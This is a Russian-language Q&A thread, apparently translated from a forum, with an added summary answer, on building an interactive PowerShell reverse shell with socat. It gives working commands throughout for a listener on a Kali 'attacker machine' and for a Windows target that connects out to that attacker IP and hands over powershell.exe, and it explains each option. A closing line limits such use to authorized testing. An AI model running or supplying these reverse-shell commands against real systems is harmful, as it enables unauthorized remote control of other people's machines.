Вопрос или проблема
Я прочитал, что socat способен создавать интерактивные оболочки. Я хотел бы создать интерактивную оболочку PowerShell.
Kali слушатель
# socat - tcp4-listen:1338
Windows (используется socat.exe отсюда: https://github.com/StudioEtrange/socat-windows)
socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty
Я получаю соединение, но никакой оболочки
А PowerShell запускается на моем компьютере с Windows:
Кто-нибудь знает, почему это не работает?
Попробуйте:
машина атакующего:
socat -d -d TCP4-LISTEN:1338 STDOUT
целевая машина:
socat TCP4:<ip машины атакующего>:1338 EXEC:'powershell.exe',pipes
источник: https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/
Я бы предложил более простую синтаксис с socat
, легче для понимания и сейчас работающий:
Машина атакующего (Kali Linux 2022.2 x64):
┌──(galoget㉿hackem)-[~]
└─$ socat TCP-L:4444 -
Детали синтаксиса:
TCP-L
: Запускаетsocat
в режиме прослушивания, используя TCP на определенном порту, в данном случае4444
.-
: Дефис (-
) является сокращением, чтобы указать, чтоsocat
будет использовать стандартный ввод (stdin
) и стандартный вывод (stdout
). Он будет считывать входные данные из вашего консоли и отправлять их на противоположный конец. Затем он также будет получать данные от противоположного конца и записывать их в консольный вывод (STDIO
).
Целевая машина (Windows 10 Pro x64 VM):
C:\socat-windows-master>socat.exe TCP:192.168.245.142:4444 EXEC:powershell.exe,pipes
Детали синтаксиса:
TCP
: Запускаетsocat
с использованием TCP для подключения к определенному IP-адресу и порту, в данном случае машина атакующего:192.168.245.142
и порт:4444
.EXEC
: Указывает команду для выполнения, как только соединение установлено, в данном случаеpowershell.exe
- Опция
pipes
заставляетpowershell.exe
илиcmd.exe
использовать стандартный ввод и вывод в стиле Unix.
Давайте посмотрим на эти команды в действии:
Как вы можете видеть, обратная оболочка работает отлично. Соединение установлено, и все в порядке.
Ответ или решение
Получение интерактивного реверс-шела PowerShell с использованием socat
Для успешного установления интерактивного реверс-шела с использованием утилиты socat
, вам необходимо правильно настроить оба конца соединения: атакующую машину (например, Kali Linux) и целевую машину (Windows). Ниже приведены подробные шаги для настройки такого соединения.
Условие задачи
Используя socat
, вы хотите создать интерактивную оболочку PowerShell на целевой машине Windows, а затем подключиться к ней с вашей атакующей машины. Вы упомянули, что уже пробовали следующий подход, но не получили ожидаемого результата.
Кали Листенер:
socat - tcp4-listen:1338
Windows (с использованием socat.exe):
socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty
При этом возникает проблема — вы получаете соединение, но не получаете интерактивную оболочку.
Возможные решения
-
Настройка слушателя на Kali:
Вместо блока кода, использующего простой
tcp4-listen
, попробуйте следующую команду:socat -d -d TCP4-LISTEN:1338 STDOUT
Эта команда активирует режим прослушивания и позволяет увидеть отладочную информацию о соединении.
-
Настройка целевой машины Windows:
На стороне целевой машины выполните команду:
socat TCP4:<IP атакующей машины>:1338 EXEC:'powershell.exe',pipes
-
Установка правильного порта:
Важно убедиться, что порты, используемые на обеих машинах, совпадают. Если слушатель настроен на 1338, убедитесь, что команда на целевой машине использует тот же порт.
-
Использование более простого синтаксиса:
В качестве более простого и работающего синтаксиса можно использовать следующее:
Для атакующей машины:
socat TCP-L:4444 -
Для целевой машины:
socat TCP:<IP атакующей машины>:4444 EXEC:powershell.exe,pipes
Подробное объяснение команд
- TCP-L: Запускает
socat
в режиме прослушивания с использованием TCP на указанном порту (в данном случае 4444). - –: Указывает, что
socat
будет использовать стандартный ввод и вывод (STDIN/STDOUT). - EXEC: Указывает команду, которую нужно выполнить при установлении соединения, здесь это
powershell.exe
. - pipes: Опция, которая обеспечивает использование стандартного ввода и вывода Unix.
Заключение
После выполнения вышеуказанных шагов вы должны получать интерактивную PowerShell оболочку. Убедитесь, что ваш брандмауэр и антивирусные программы на обоих компьютерах не блокируют соединения, и что вы используете правильные IP-адреса и порты. Если вы продолжаете сталкиваться с трудностями, проверьте сетевые настройки вашей виртуальной машины и убедитесь, что подключение к сети настроено правильно.
Помните: использование реверс-шелов и сетевых утилит должно осуществляться только в законных целях и с разрешения владельцев систем, для которых вы проводите тестирование.